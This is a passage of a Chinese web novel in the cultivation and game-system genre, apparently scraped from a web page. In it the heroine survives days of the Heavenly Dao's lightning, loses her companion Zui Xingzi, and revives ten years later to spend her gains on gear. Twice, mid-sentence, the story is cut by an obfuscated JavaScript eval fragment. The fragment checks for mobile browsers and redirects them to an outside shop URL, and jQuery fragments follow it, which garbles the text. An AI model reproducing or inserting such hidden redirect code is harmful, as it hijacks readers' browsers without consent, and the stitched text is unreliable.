看清状况后,珊瑚秘境成了众人避之不及的险地,那些刚赶来寻宝的宗主与掌门,逃的逃、散的散。众人慌不择路,神情恐惧地望向狂海的天空,哪还有心思争夺珊瑚王冠,去管珊瑚秘境里面的长老弟子情况如何。 轰咔——轰隆隆—— 珊瑚秘境被天雷劈打,最为恐惧的是秘境里的修者。 那道道紫色的雷电,直接穿透障壁,落到珊瑚海内,将所有人鱼幻影、人影遗影劈成海水。水花沾上噼里啪啦的电光,溅到众人身上,宛如烙铁般,烫得人皮开肉绽。 华美的五座珊瑚岛,经过百道天雷的洗礼,此时一半狂狷一半焦黑。 秘境的天空依旧漆黑,只是上边蜘蛛纹路的裂缝,此时已变成密密麻麻的洞。 “谁在渡劫?不对,这么多紫色的天雷……龙傲天在引雷?”有人慌张地躲避。 金健护好身边的弟子,对众人道:“非我徒儿,傲天引的天雷力量有限,数目最多为三道。”他发现天雷没有落完,一道又一道降在岛上,来不及解释更多,大喊道:“珊瑚秘境有异!天空被劈开了,我们快逃!” 咔咔—— 在金健说完话之后,秘境空间终是撑不住,上方壁障破碎成片,露出巨大的豁口。 狂海的水倒灌进来,哗哗的水声之大,震耳欲聋。众人不得不运转丹田的灵力,用尽力气呼喊身边的人。 “快逃!是天道!天道在发怒!” 秘境天空破碎后,上方依旧昏黑,狂海的水像是墨水,透过它,看不到一点阳光。这愈发说明,外面天上的乌云,比他们想象的更浓郁厚重。 青天白日的,狂海比子时之夜还黑,雷域平时还能见光,此时看这晦暗深重的云层,天雷肯定不止百道!且观刚才降下的天雷,紫雷已有虚淡的龙形,龙的面孔异常愤怒。雷龙代表天道,天道真的在发怒…… “逃!快逃!” 趁天雷歇下,云层在翻涌新的紫雷,众人逆着狂海之水竭力逃命。他们想法颇多,直至现在都没搞清楚,天道为何发怒。 万年前,灵魔大战,生灵涂炭,天道也没降两道紫雷惩罚那冥无之主。此刻是怎么一回事? 难不成谁杀了天道之子?不对啊,龙傲天分明还活得好好的。 难道是哪位罪仙下凡,被天道发现了?众人猜测不定,无一人能说出个所以然。 轰隆隆——轰空—— 天道似乎在等众人逃走一般,在大家逃得差不多时,才命紫雷接二连三地落下,只击打下方的珊瑚秘境。 珊瑚一丛丛消失,如梦如幻的秘境,最终只剩下腥臭的大海,以及五座残败的岛屿。 墓海内,滕棠、醉星子和鱼琴都还不知晓外面的情况。 鱼琴伸展猫爪,十分艰难地掐完诀,走到醉星子身旁,张开嘴,努力地在海里大声吟唱:“喵~喵~~喵喵~~” 猫的声音融合了人鱼的声线,嘹嘹呖呖,听起来既悠扬又可爱。 吟唱完,鱼琴毛茸茸的尾巴突然变扁,九色绒毛掉光,猫尾巴变成长着九色鱼鳞的小鱼尾,像扇子一样在水中扑闪扑闪。 醉星子身下的黄沙娑动,片刻之后,被镇压万年的身躯终于从里面脱离出来。 他面色不善,看向脚边瑟瑟发抖的KTV彩球,目光饱含杀意。 鱼琴害怕他,四只爪子不太熟练地后退,躲到滕棠身后,继续吟唱:“喵~喵~~~喵喵~~” 灵魂海洋之水翻涌着,随他高低起伏的猫叫声,上下层蓝水再次混合在一起。墓海大阵开始转动,引发一股温暖的洋流。 很快,两人一猫在洋流卷动中,被大阵送出灵魂宝石,出现在蓝珊瑚岛上。 环境一片漆黑。 “咳咳。”醉星子的泡泡破灭后,滕棠喝到一口腥咸的海水。 她站在灵魂宝石下方,脖子以下全是海水。珊瑚秘境非常黑暗,周围只有声势浩大的水声,听不见人声,看不到人影。 “喵喵……”你们看天上…… 只有滕棠能听懂鱼琴在说什么,她仰头看去,秘境的天空不知道为何破碎了,让狂海倒灌进来。 珊瑚秘境现在就是个水缸,且是置于海底的水缸,要不是秘境还残存一点力量,没有被海水灌满,他们恐怕已经置身于狂暴的海洋之中。 水位越来越高,秘境之力在消失。 鱼琴的瞳孔收缩,他显得害怕极了,蜷着四爪,躲到滕棠头上颤抖:“天道一定是在惩罚我!” 轰隆隆——,雷声在天空爆鸣,巨大的声势,令人震耳欲聋。 醉星子看了一眼漆黑的天空,隐约听到人声。 人声虽然模糊微弱,但他异常熟悉,一下明白那是天道的低语。他永远记得,万年前天道在他身上安的罪名,记得当初在明月八角塔的炼狱里,天道对他说过的话。他不知要替季浮光背多久黑锅,他只知道自己再也无法忍耐下去,万年的镇压,孤苦无趣。如今他能稍稍脱离镇压,尝到了自由自在的滋味,怎能甘心回去? 天道突兀出现,将秘境击碎,在他看来,天道是为自己而来,发现他这具分-身即将脱离镇压,于是再次出手,用灭亡他分-身的方式来警告他:不接受惩罚,敢擅自逃离出来,这就是下场。 可方才听见鱼琴那句话,他又觉得天道不一定是为自己而来。 游到滕棠身旁,岑云岭抓住鱼琴的九色鱼尾,将其拎起,冷声问道:“珊瑚秘境怎么回事?天道为何出现?” 鱼琴期期艾艾,两眼充满死寂:“天、天道降雷劈死我,一定是因为我施的禁术惹怒到祂,伏魂禁术是上古禁术……” “又是天道?”滕棠听到这两个字,整个人都不好了。 与鱼琴、醉星子的想法不同,她觉得,天道这动静不是奔他们而来的,是冲自己而来。 刚才那个“天降红包雨”活动……不会是…… 醉星子见滕棠的脸色一下煞白,顿时想起她筑基时的雷劫,不免神色复杂。滕棠身上也有秘密,不仅能结生死契,召他被镇压的分-身于万里之外,还被天道视作大逆之人,五色杂根竟然突破炼气期、渡过了恐怖的雷劫。 他松开鱼琴的尾巴,命令奇形怪状的猫儿:“珊瑚王冠乃上古仙器,快用它抵挡天雷。” 水位越来越高,五座岛屿,只剩蓝岛露个尖尖。他们爬到灵魂宝石最上方,掐诀弄干身上的水。 但下一秒,海水哗啦,又将他们衣衫打湿。 四周全是翻肚的鱼、焦黑的珊瑚炭,以及波涛汹涌的海水。 此时正午时分,天空却黑如幕布,偶尔闪烁恐怖的紫色雷光。 没有星月的乌云层里,紫色巨龙愤怒地游走,数量之多,恐有三百条。 如此数量的紫色雷龙,一般是为了惩罚罪仙,但这凡间,哪有犯了大错的仙人? 狂海已经没有了其余修者,这片天空之下,无人敢待哪怕须臾。 鱼琴眉心的浪花印愈发明亮,他吟唱着古老的歌:“喵~~喵~喵~~”每一个音拉得很长。 在悠长响亮的喵叫声中,五座珊瑚岛屿好似没了根的野草,渐渐浮起,升往狂海表面。 鱼琴吟唱的声音愈响亮,岛屿摇晃得愈厉害。 他们跳下灵魂宝石,躲进灵魂圣殿之中。 轰—— 一道紫雷降落,狠狠打在灵魂圣殿顶上,蓝色的软珊瑚寸寸断裂。 眼看天空连续有紫龙奔来,醉星子抓住滕棠的手,跟着鱼琴往外走,去岛底躲避。 五座珊瑚岛正在飘浮、缩小,天雷每落下来一次,便有一处被损毁。 逃至蓝岛半中央处,滕棠往远处看去,岛的对岸有一条巨大无比的弧形彩廊,渐渐露出海面。 那是由无数珊瑚结合形成的环廊,像桥一样弓起,一路弯到这边,把五座岛屿串起,刚好形成一个巨大的圆圈。 鱼琴的半魂被邪阴之物侵蚀得尤其严重,他很困倦,但他此时不得不撑着,一边吟唱,一边带滕棠他们到岛屿最底部。 能在神魂如此受损的情况下,维持清醒的种族,恐怕只有人鱼族。得天独厚的精神力天赋,让鱼琴还能撑几个时辰。 珊瑚岛下的弧形长廊内,两人一猫在此躲避天雷的锤击。 他们头上,五座珊瑚岛已经被雷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14032734|148844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 劈得看不出原貌。 滕棠扶着钟乳石形状的栏杆,探出头,从这儿往天上看去。 紫雷龙嘶吼着,张着大口,接二连三咬下来,将珊瑚岛嚼碎。 岛屿与底部的圆形彩廊越来越小,滕棠看着周围挤压过来的珊瑚石,只觉一阵压迫与窒息。 不到片刻,五座圣岛缩到只有小山包那点高度,轰雷掣电之下,没有一株珊瑚是好的,具被雷击碎,断的断、残的残。细密的彩色短芽,洒落进波涛汹涌的狂海里,随浪沉浮,好似无数凋零的花瓣。 很快,所有圣殿被毁得渣都不剩,五座珊瑚岛连同底下的彩色回廊浮出水面,在翻涌的狂海中缩到一起,艰难容下两人一猫。 滕棠这才知道,原来珊瑚王冠一直在众人足下。上方的五座岛屿和他们所处的珊瑚游廊,一起构成了巨大的珊瑚王冠。 可惜它的美丽,众人再也看不到了。 就连那最耀眼之物——灵魂宝石,镶嵌在蓝岛之巅的宝贝,此时也保不住美丽,摇摇欲坠地挂在蓝岛上,表面爬满数道裂纹,咔咔的清音听得让人紧张,仿佛下一秒就要碎掉。 在他们逃入底部珊瑚长廊期间,天雷已经落了九十次。 珊瑚王冠的力量几乎散尽,无法维持珊瑚秘境后,王冠小得不能再小。 最后连游廊也失去空间。 滕棠只能跳出去,在半空中御行大刀,和醉星子互相牵住手,以免被下方海浪卷走。 “喵喵!”我的王冠! 原本还有五米高的珊瑚王冠,在又一道天雷后,陡然间缩小到单手可握的大小。 九色猫蹬着滕棠的肩,努力伸出爪子,往那破破烂烂的王冠掠去。 奈何他身形太小,爪子又短,在水面上扑了个空。 滕棠眼疾手快,看到它跳出去时,自己也动了身。她松开醉星子的手,一把抓住九色猫的鱼尾,用另一只手,抻直手背,中指勾到王冠的边环。 眼见着水面越来越近,她和鱼琴即将落入狂海。 她的腰间,托来一只结实有力的手臂,奋力捞起,把她和九色猫拖离海面。 醉星子施法,凝出一朵云,将滕棠夹在腰上,带着人和猫踏了上去。 这朵小小的黑云,承受着两人的重量,竟未破裂。 在第九十一次雷击后,手里的王冠已经废掉,只有巴掌大,无法再利用它抵挡天雷。 滕棠把小小的珊瑚王冠,戴在九色猫头上,带着歉意说:“对不起,这雷应该劈的是我,天道多半是为我而来……” [完成支线任务一·鱼琴的心愿] [获得奖励:300上品灵石、基础数值×1.5卡、经验值+9999……] 轰——,又是一道紫雷。 滕棠推开醉星子和九色猫,用自己的身体抗住。 雷电贯过她的身体,很快被脑子里的系统吸收掉。如今系统可以吸收的能量,比她筑基时多得多,滕棠竟没受一丝伤害。 [叮!你运气真好,被999上品红包砸中!] 所谓的红包雨活动,竟真是天雷…… 滕棠望着天上几百条雷龙,心如死灰。游戏系统可以吸收的能量再多,也有上限,她抗得过这次的“红包活动”吗? 黑云聚集的狂海,雷声响彻天地,威势之大,两边的天央大陆、明月大陆的修者都能听到。 没有了珊瑚王冠的保护,滕棠叫醉星子和鱼琴快走。 她上次度雷劫时,雷力大部分被系统吸收了,没死,这次就不一定了,她不想波及其他人。醉星子实力高强,只要天道不针对他,大概率能逃走,鱼琴是人鱼,在海里有极大优势,游走的速度肯定很快。 鱼琴胆子十分小,直面雷龙后,几乎吓傻。听到滕棠的话,他怯懦到不敢望天上的乌云,立马跳入海里,扑腾扑腾迅速逃走。 这时天空突然出现一道浑厚有力的人声:“谁都别想走!” 这道人声,醉星子再熟悉不过,方才在蓝珊瑚岛上,天雷道道劈下时,他便隐约听见。 “外来之魂,搅乱秩序,死!” “命运既定,该灭之龙,死!” “勾结邪魂,违逆天命,死!” 三道天雷,伴随三句判词,同时落向滕棠、醉星子以及鱼琴。 天道降下的雷,速度极其快,滕棠正当要一人抗下,眼前视野里遽然闯入一角黑纱。 醉星子挡在她身前,身体忽然变得庞大,像巨人一般站在天上,用脊背抗住三道雷击。 他身体好似被雷电烤融,逐渐液化为暗蓝色的水,啪塔啪塔落向翻涌的狂海。 “不!醉星子!” 滕棠大惊失色地望着他,手指颤动,伸入模糊的水团。 “原来你不是此界之人……”醉星子最后的声音在滕棠耳边萦绕。 他的身体被墓海坟沙啮噬后,已损失了部分力量,如此粗壮的三道雷龙,对他来说,更是致命一击。 “嘭”一声,剩余的水团爆开,滴滴点点洒落到汹涌的海洋里。 [警告!你的伙伴醉星子已经死亡。] [正在结契] [结契成功!] [已达上限!(选……] 滕棠的眼睛红了,身侧的手一直在抖。她不敢相信,醉星子竟然会为她挡天雷。 眼眶湿润,滕棠的视线模糊,脚下的云朵渐渐绽裂。那瞬间,她的心,好像也跟着裂开。 落入进黑如墨水的狂海,滕棠被强大的水流推动,喝了好几口腥咸的海水。 此时鱼琴已经逃走了,看不到闪耀的光团。 滕棠调动灵力,御行长刀,再次飞出海面。 她抹了一把脸,仰望着漆黑的天,瞋目怒视上方的乌云与雷龙:“你想杀的人是我!醉星子是无辜的!” 乌云之中传来轻哼,威严的声音如同阵阵锣鼓,一字一字敲在滕棠心上:“天道之威,岂能容忍你这种蝼蚁践踏。” 滕棠的手在身侧攥紧拳头,她恨,这天道让谁生谁就生,想谁死谁就死,天下苍生,岂能容忍他这般摆布? [初出茅庐·三:天道杀了醉星子,你非常愤怒,对他道:“天……] 系统突然跳出剧情的瞬间,滕棠就将上面的话念了出来:“天道不正,徇私乱定凡人生死。你给我等着,我,滕傲天!往后飞升成仙成神,定要将你给踹下神坛!” 她几乎是脱口而出,完全无抗拒之心。她还真希望自己是滕傲天,像龙傲天那样,要风得风要雨得雨。 心中的愤懑无以发泄,这一刻,滕棠不仅想踹天道,更想灭了这天道。 可惜她不是龙傲天,没有那个命。 在她说完这段话之后,天空的紫龙暴怒起来,鼻息喷出闪电,满口雷火獠牙。天道被挑衅,愤恼到了极点! [天道违背世间法则,偷偷对你进行打压,向你劈来源源不断的天雷,你不能躲避,只能硬抗。] 轰轰轰—— 滕棠自知避不开天雷,因而很坦然地御行长刀,停在海面上。她看完主线剧情跳出来的文字之后,更加愤怒了,这天道果然有私心! 76. 第 76 章 三道天雷一齐劈下。 [叮!你运气真好,被2997上品红包砸中!] 运气真好?滕棠听着系统的提示,怀疑这是一种另类嘲讽。 轰隆隆——轰隆——,这次是五道天雷。 她被劈到海水里,浑身僵硬。所幸绝大部分雷力被系统吸收走,她还没死。 [叮!你运气真好,被4995上品红包砸中!] 滕棠浑身发麻,躺在海里,脸上无悲无喜。 听着那巨大的红包数额,她欢喜不起来。 从雷龙的数目和粗壮程度就能看出,天道想让她死,希望她灰都不剩。 这次的天罚,每道雷力是筑基雷劫的十倍,数量是筑基那次的百倍。 系统竭力地吸收着天雷,此时在滕棠识海中,它已经变成一个拳头大的黑洞,疯狂旋转扩张,将每一道雷龙吞入腹中。 它如同一只成长中的饕餮,不知餍足,贪婪地吞噬着雷力。 黑洞越吃越大,完全没有底,来一道吃一道,来两条吃两条,不像上次吸收得那么缓慢。 滕棠四肢麻痹、通体黢黑,随着海面的巨浪升起、落下。 巨大的雷龙发现滕棠的身体还未湮灭,恼怒一吼,更加猖狂起来,不再是几道接几道地下,而是数十道一起。 “死!”浑厚的声音比雷声还重。 数十道雷龙接连劈来,别说渡劫修者,就是仙人下来抗,也抗不住。 [叮!你运气真好,被30969上品红包砸中!] [叮!你运气……] …… 听着系统欢快的提示音,滕棠哽咽难言,她整个人要被红包砸废了。 脑子里像打铃一样,一直在叮叮作响。识海本灰蒙一片,现在漆黑一片,完全被黑洞占据。 游戏系统没有生命,没有灵智,它此时成了个吞噬天雷的机器,来多少吃多少,仿佛没有底限。 [叮!恭喜你获得……] 黑洞无休无止地吞噬着,纯粹的能量让它富足起来,不再需要扣除灵石维持运营,赚得盆满钵满。 狂海黑了三天三夜,滕棠被雷劈了三天三夜。 她早就陷入了昏迷,全身上下没有一块好皮肤。 天道可降落的雷,已经到达极限数量,不能再御使雷龙。 他恼羞成怒地收起紫色雷龙,再次插手人间,化出巨手,伸向滕棠。 这一次,他的手更为凝视,凡人的肉眼,隐约能看见其形状。 巨大的右手在狂海中捞起渺小如蚂蚁的人,收紧一握,手心神力爆发,他怒喝道:“我不信你还不死!” 神力,不属于凡间的力量,挤压着滕棠的身体。 她像一块橡皮泥,四肢被握碎,血肉经脉和骨头被捏融成一团。 巨大的痛苦让她醒了一瞬间,而后昏睡进更黑暗的世界。 她的灵魂被系统旋涡吸入,彻底没有了意识。 [警告!服务器正在被黑客攻击。] [防御系统开启] [正在扫描……] [扫描成功,正在删除攻击源……] “怎么回事!”捏死滕棠的那只手突然变浅,神力一点点消失。 彩色的光芒再次在掌中迸发,比上次强烈许多倍。 天道的手突然抖了一下,他畏惧了。 他发现手里的力量,既不是灵力,亦不属于仙力、神力,而是可怕的混沌之力! 混沌之力,所有力量的来源,亦是所有力量的归宿。 “怪不得!怪不得你能吸收我神力……”天道喃喃自语的声音渐小。 [全服公告:非法账号“此界天道”涉嫌违规操作,导致游戏数据异常。故封停其账号99年作为处罚。请大家引以为戒,规范游戏,不破坏游戏平衡,珍惜账号!] 不多时,一具变形的尸体落入海水中。 天空乌云散去,傍晚的晚霞层层隐现,而后将狂海的这片区域照得金灿灿的。 夜幕很快降临,满天繁星在夜空中闪烁。 皎洁的月光倒映下来,风平浪静的海面和星空一模一样,难分谁真谁假。 [尊敬的玩家,热血岁月自开服以来,困难重重,服务器最近遭遇了黑客的多次攻击,出现连接错误、账号bug等问题,系统将于6月24日晚停服修整,感谢理解!] 滕棠的灵魂被黑色旋涡收走后,一直没吐出来。 她的尸体沉入大海之中,挤成一坨的血肉被海水泡开,没有漂浮海面,而是软塌塌地落进海底淤泥里。 她四肢的摆放姿势异常可怖,扭曲得像揉皱的纸团。 丹田处,由于灵根被毁,灵气中断,付岚山迷迷糊糊醒过来,下意识地接近她的头,盘在唯一没碎的头骨里,吸收系统散发的点点灵力。 随着时间的过去,海面已经重归平静。 滕棠支零破碎的身体,没有一块好骨头和肉,像根面条般,在海底摇摆不定。 一日两日,海里的鱼妖都不敢靠近她,头骨中的黑色旋涡,令所有生物忌惮。只有和滕棠结了符契的付岚山,敢躺在旋涡上方,静静吸收灵力。 时光如逝,晃眼不知许久。 这一日,久违的系统终于修整完毕,重新开服。 [叮!游戏重新开服中……] [成功登录账号] 海底的淤泥已经把滕棠的尸体掩埋,她的血肉碎骨,已经和烂泥融在一起。 诡异的黑暗中,机械的声音时不时响起,唤醒着沉睡的灵魂。 [警告!检测到账号数据异常。] [正在恢复玩家历史数据……] 只剩颅骨和骨头碎渣的人,在狂海海底上演了一幕医学奇迹。 细密的白渣在淤泥中聚拢,重新粘合在一起,达到锤骨圣殿锤骨后的硬度。 海水中的五行灵力疯狂涌来,在滕棠丹田处形成五色灵根,粗细大小和昏迷前一致。 [尊敬的玩家,系统正在恢复你的账号数据,此过程需要些时长,请耐心等待……] 骨头、丹田、经脉、血肉……滕棠的身体在半个小时后,完全恢复。 [数据恢复成功] [正在重启游戏] 在[重启成功]提示音响起之后,滕棠的灵魂被黑色旋涡放了出来,进入重铸的肉身中。 她渐渐有了知觉,五感六识随之而来。 脑海里,熟悉的动次打次音乐开始播放,而后有个声音问:[想装逼?来玩热血岁月!开局一把刀,氪金送灵宠,七彩翅……] 滕棠睁开眼,发现自己在海里,差点被海水呛死。 她憋着气奋力往上游,脑子里不断涌现昏迷前的画面。 醉星子死了,鱼琴不知死活,天道用紫色雷龙劈了她三天三夜。在那强烈的麻痹感下,她很快失去意识。 至于后来发生了什么事,游戏系统如何救的她,滕棠不得而知。 噗哗——,浮出水面,滕棠望着明亮的天空,暗想,她应该没有昏迷多久。 她用手整理脸上的头发,左右查看自己的身体,惊奇发现,自己竟然一点损伤都没有。光溜溜的身体上,看不到任何雷电痕迹。 她闭目内视,总感觉识海里有什么东西。 灵力内探,一条肥肥的蛇魂映入眼帘。付岚山不知什么时候,从丹田跑到她脑子里,和系统的黑色旋涡紧贴在一起。 滕棠连忙把他抓出来,放回丹田里,有些疑惑,她就昏迷了会儿,付岚山怎么变得这么肥了? 摇摇头,她打开热血岁月游戏界面,历史消息栏果然是空白的,除了[重启成功],看不到任何旧消息。 左侧的剧情任务栏里,[初出茅庐·三]第二步已经完成,她熬过了天雷,现在写着: [你于黑暗中重生,并发誓,会让所有人记住滕傲天这个名字!想起自己还未正式加入门派,于是前往狂刀门找到掌门,获得他的认可,成为他的弟子。▽5天12时35分18秒] 我不要叫这个名字!滕棠打开个人信息,发现ID真的被改了,原来写的是滕棠,现在写的是“滕傲天”…… 看到“傲天”二字,滕棠不免想起龙傲天,立马关闭个人界面,心情不是很好。 点击[装备]查看情况,滕棠发现所有东西都还在,耐磨度也未下降。 不对啊,当时天雷落下来,明明把她装备全部劈毁了…… 那可怕的三天三夜,仿佛是她的一场噩梦。 她急忙打开[伙伴],期待地想,那醉星子呢?他是不是还没死? 伙伴栏打开,一串问号方格出现在眼前,独属于醉星子的那个方格,已被伙伴江海占据。江海那个格子,则出现了新的倒霉蛋。 滕棠心里咯噔一下,胸口沉甸甸的,好像被石头压住,有点难以呼吸。泡在狂海之中,她的身冷,心也冷。 醉星子已经死了…… 伙伴栏如今变成:[屠丹]、[杀浮]、[万象]、[江海]、[石北星]。 “滕棠?”丹田里,响起付岚山欣喜的声音。 蛇头挤出丹田,圆圆的眼睛好像要哭,不过碍于灵魂状态,眼泪显得很不真实:“你活了!” 他比滕棠苏醒得早,发现滕棠已经变成了渣渣,唯一留下的是个头骨,整条蛇在淤泥里崩溃了好久。 他不知自己沉睡了五年,靠着吸收系统散发的点点能量,才养好蛇魂,误以为只睡了两个月。猜测在他沉睡期间,滕棠遇到那黑色旋涡,身体被摧毁,灵魂被吸走,自己也跟着遭了秧。 醒来后,他就一直等啊等,一日复一日,在漆黑的泥里萎靡不振。如果滕棠的灵魂不消散,他不会要一直保持这种状态吧? 他没有勇气离开滕棠的脑壳。若无肉身、无宿魂之处,一出去便会被天道收归轮回,那意味着真正的死亡。 他都不知道自己怎么坚持下来的,足足在滕棠的头骨里待了五年,靠着吃旋涡散发的灵力,越长越胖。 今日看到滕棠不仅苏醒,还长出新的人壳子,他震惊之余,那种兴奋与激动无以言表。 “滕棠你果然好厉害!你是不是神仙下凡,来拯救我的。” 付岚山此时感慨万分,庆幸滕棠打败了那个黑色旋涡,不然他还得继续熬受痛苦的岁月。 滕棠抚摸他的脑袋,由于太过悲伤,只是点了下头。 付岚山用蛇头蹭蹭她的手,讨好地问:“我养好伤了,把那个闪闪发光的猫壳子拿出来给我用吧。” “这个……”九色猫给鱼琴了。 滕棠敛起伤心的情绪,打开灵宠栏,界面上显示了九色猫此时的样子。 鱼琴的状态不是很好,斜躺在一个华美的蚌壳里,神魂正被羽翼水母液滋养着,没有苏醒的迹象。 珊瑚王冠破烂不堪,小小一圈,套在他的一只绒毛耳朵上,另一半垂着,被他两只爪子抱紧。 他睡得很香甜,猫鼻子时不时嗅着脸上的破烂圆环,一副很珍视的模样。 以鱼琴此时的状态,万万不可召回九色猫。滕棠关闭灵宠界面,听见付岚山在催促她。 “你不知道,我在你的头骨里闷死了,滕棠,快给我壳子。” 滕棠叹气一声,开始给他讲杜樰楺之后,发生了什么事。 期间付岚山都没说话,直到她说起墓海里的事,说到她把九色猫给了鱼琴…… 付岚山生气道:“那你让他把猫壳子还给我!”他的表情,像是被人抢走了心爱的玩具。 滕棠没办法,开始给他讲道理:“人家救我了我们的命,给他一个不中用的猫身,又何妨?你不是不喜欢么?” “我……”付岚山其实挺喜欢那副猫壳子的,闪闪亮亮的多好看,只是口嫌体正直,不想说自己喜欢用天敌的壳子。 他闷闷不乐地缩回滕棠的丹田,抱怨道:“那壳子明明是你给我的。” “可是你的上次已经毁掉了,鱼琴那个是新的。” 滕棠见他这副模样,心情稍有好转,逗他:“你不是天天说不喜欢猫壳子么,说它丑,说它不好用。” “但你目前,从那神迹里只捡到这猫壳子……”付岚山缩在丹田里不肯出来,生着闷气道:“你既然给了他新的,那你也给我一个新的,我可是你的灵兽。” 你这只灵兽除了给我找不快,还有什么作用? 滕棠叹口气,壳子这事她还真办不到,只能给付岚山画饼: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14032735|148844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我努努力,快了,一定会有的。” “快了是多久?”付岚山问。 “就是快了。”滕棠没正面回答他。 打开地图,滕棠发现自己离天央大陆已经不远了,不知道什么时候,她已经度过了雷域。 主线剧情发布的新任务,需要她在五日内抵达狂刀门…… 滕棠立马放出热气球,跳进去后,用火灵根将身上的水烘干。 狂刀门在天央大陆西部,路程较为近,用热气球的话,五日刚好能飞到。 在地图上做好标记,滕棠点击[自动寻路]。 她盘坐在篮筐中,打开系统签到,看到上面一周七天全部断签,还以为自己眼花了。 她记得她二十一号之前,签到了的,怎么全灰了。 她往前一页一页地翻,六月份全是灰色的,再往前……从一页一页地翻,变成一月一月地翻,后面直接一年一年地翻,才找到上次签到日期。 滕棠的眼球狂颤。 十年!她竟然在海里昏迷了十年! 沙漏可以出错,修真者的计时灵器可能出错,系统的日期绝不可能出错。滕棠反复确认,得知这个消息的时候,整个人都惊呆了。 十年,我怎么会昏迷这么久,竟然没被淹死……十年,那得落下多少修行进度! 这对计划狂魔来说,简直不可忍。本来五灵根修炼就难,要想保持年轻的容颜,就要马不停蹄地修行,早日突破金丹期,获得更多的寿命。这下倒好,十年的时光,直接被她睡没…… 滕棠又到处东点点西点点,直到看到系统的财富栏,才心情好转。 她此时的财富栏为:[399灵髓600上品灵石560中品灵石230下品灵石] 被天雷劈了三天三夜,这场“红包雨”直接让她暴富,她这辈子没见过这么多钱,也没听过谁有这么多钱。 望着财富栏的数字,滕棠直流口水。 既然不能靠天赋,那就靠氪金。氪!我要使劲地氪! 天道不想让她活,她偏要活着!还要活得很好,越来越强,实现游戏剧情里的那句话,把天道踹下神坛。 滕棠没有急冲冲花钱,而是抑制内心的激动,准备待会儿好好规划、计算一番。 钱虽多,但要用在刀刃上。 打开[支线剧情],她把十年前[鱼琴的心愿]这项任务的奖励给领了,获得一些经验和一张×1.5的基础数值翻倍卡。 滕棠打开自己的个人信息,盯着五项数据看了看,觉得自己的命还不够硬,便把卡用在[生命]上,继续翻倍血条。 个人信息上的血量值,再次变长。滕棠很满意,退出来,点开菜单,查看所有的功能玩法,希望有所收获。 然而让她失望了,一切都和十年前一样,没什么变化。 怀揣着激动的心情,她打开了商城。 六月份已经过了一大半,月限购物品次数不会累计,只会重置。滕棠不免觉得遗憾,要是可以累积次数,十年可以买好多限制类的物品。 她买完强制召唤卡、灵宠复活丹等限购商品后,开始发呆思考,自己这么多钱,该买什么比较好?月卡、vip卡、尊享月卡已经续上了…… 装备!氪装备!自己的游戏实力,几乎都靠装备。 滕棠打开材料页面,开始疯狂加购冰暴石。 冰暴石50上品灵石一枚。买着买着,她脸上的笑容就消失了。 一套上等装备——[寒霜雪],共需要35灵髓。劈了三天三夜雷,她也只得到399灵髓而已。 我要是以后打造神装、传说级装备、史诗级装备、神话级装备,该怎么办?去抢劫天道? 滕棠暂时没法考虑以后的事,一想想,她就觉得头大。 从购买冰暴石,到锻造十二件装备,全程只用了几分钟。 滕棠换上[寒霜雪]套装,心情还算不错。 现在融合了四套效果,十二件装备变得愈发花哨。 她的衣摆是暗红色的,有六路白色火焰顺着折痕燃烧。上半身是黑色渐变,时不时流动光芒。 新增的肩铠上,有一层寒冷的霜雪,冷得空气凝成雾。随着她的动作变化,雪花会飘落到地面融化,不会留下任何水迹。 滕棠转动头部,发现身后与身前的外观不一样。腹前的暗衣闪动着冰寒的白光,身后的布料是白色的,弥漫着红色的血气。 拿出主武器,大刀此时已经增长至五米,直接伸出热气球篮筐的范围,支到外面的空中。 刀尖仍然滴落红血,左右两面一冷一热,正过来是白色大火,反过去,刀面布满冰刺。 “滕棠,你这些东西从哪里冒出来的!你又从神迹捡到好东西了?你什么时候去的?你有没有捡到新壳子?”付岚山露出惊奇的表情,在她腹部处探头,接连提问。 滕棠瞥他一眼:“不告诉你。” 套装自带特效。原先的二字套装[暗影]和[饮血],其流光与血气都比较微弱,不是很明显,[绯焰烈]也还好,不开启技能[昼焰焚火],不是非常惹眼。 滕棠低头看向此时的自己,[寒霜雪]糅合了四套装备。她身上的特效突然明显起来,又是流光又是血气,上半身飘雪,下半身着火…… 她这身打扮,放在任何人堆里,都是最亮眼的仔。 滕棠正在苦恼自己的装备太高调,腹部的付岚山却羡慕极了。 “主人!我也要!我也想要这么好看的衣服和武器。”付岚山用蛇脑袋蹭她丹田,头一次摆正灵宠的位置,叫她主人。 这么久了,他还保留着九色猫的一些习惯,一会儿蹭她,一会儿摇尾巴,如果有爪子的话,他早就舔起来了。 他那副讨好的样子,在滕棠这里完全行不通。 “你连肉身都没有,还想要装备?而且你有做什么贡献吗?除了吃我灵力,说我对你不好。” 滕棠将他拍回去,将他那些埋怨当成耳旁风。 她低头,再看一眼自己身上的装备,作为一个低调的人,实在受不了这花里胡哨的[寒霜雪]套装,于是立刻将其拆卸,在历史套装中,把[暗影]穿上。 打架打不过的时候,再穿这套吧。 77. 第 77 章 买完装备后,财富栏还有很多钱。滕棠打算提高一下自身的天资,填补十年的缺憾。 她准备大氪一笔,氪[经脉]这个无底洞。 滕棠深呼吸两三下,在购买天脉石之前,给自己做好心理准备。 [寒霜雪]是中期装备,共计耗费35灵髓,看着很贵,但相对于[经脉]来说,它只能算是毛毛雨。 